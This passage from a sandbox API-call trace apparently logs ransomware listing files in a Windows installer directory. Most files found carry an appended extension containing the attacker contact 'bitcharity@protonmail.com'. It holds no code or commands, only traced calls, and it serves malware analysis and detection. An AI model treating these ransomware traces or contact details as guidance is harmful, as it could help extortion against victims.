ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337a14f4, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.497] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337a14f4, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.497] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0242.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.499] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0242.499] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebd70 [0242.502] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.502] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349a9123, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349a9123, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34b0064c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.502] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349cf2f3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349cf2f3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34b2696e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.503] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33649e3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33649e3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.503] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33649e3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33649e3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.503] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0242.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.505] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0242.505] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec1f0 [0242.506] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.506] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34d3ca58, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.506] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34e47adb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.506] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x336bc6fa, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x336bc6fa, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338861a0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.506] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x336bc6fa, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x336bc6fa, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338861a0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.506] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0242.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.508] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0242.508] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.511] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.512] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34f9eeaf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.512] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34ef01bf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.512] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337a14f4, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337a14f4, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.512] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337a14f4, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337a14f4, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.512] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.514] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.514] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0242.514] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec330 [0242.517] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.518] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34d62ddf, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34d62ddf, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34dd5329, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.518] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34dfb631, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34dfb631, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34f52ab3, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.518] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337c7622, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337c7622, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.518] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337c7622, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337c7622, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.519] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0242.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.520] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0242.520] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec1f0 [0242.523] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.524] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e6dc44, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34e6dc44, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34f78e36, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARAME~1.COM")) returned 1 [0242.524] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f07337, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f07337, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x350a9f1e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 1 [0242.524] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f07337, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f07337, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x350a9f1e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 0 [0242.526] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0242.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.527] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f52ab3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f52ab3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x352e63c2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DHTMLH~1.COM")) returned 1 [0242.527] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337c7622, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337c7622, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x339dd814, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DISPLA~1.COM")) returned 1 [0242.527] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0242.527] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec470 [0242.528] FindNextFileW (in: hFindFile=0x6ec470, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.528] FindNextFileW (in: hFindFile=0x6ec470, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f9eeaf, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f9eeaf, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3505daf7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARAME~1.COM")) returned 1 [0242.528] FindNextFileW (in: hFindFile=0x6ec470, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34fc5375, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34fc5375, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35011763, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, 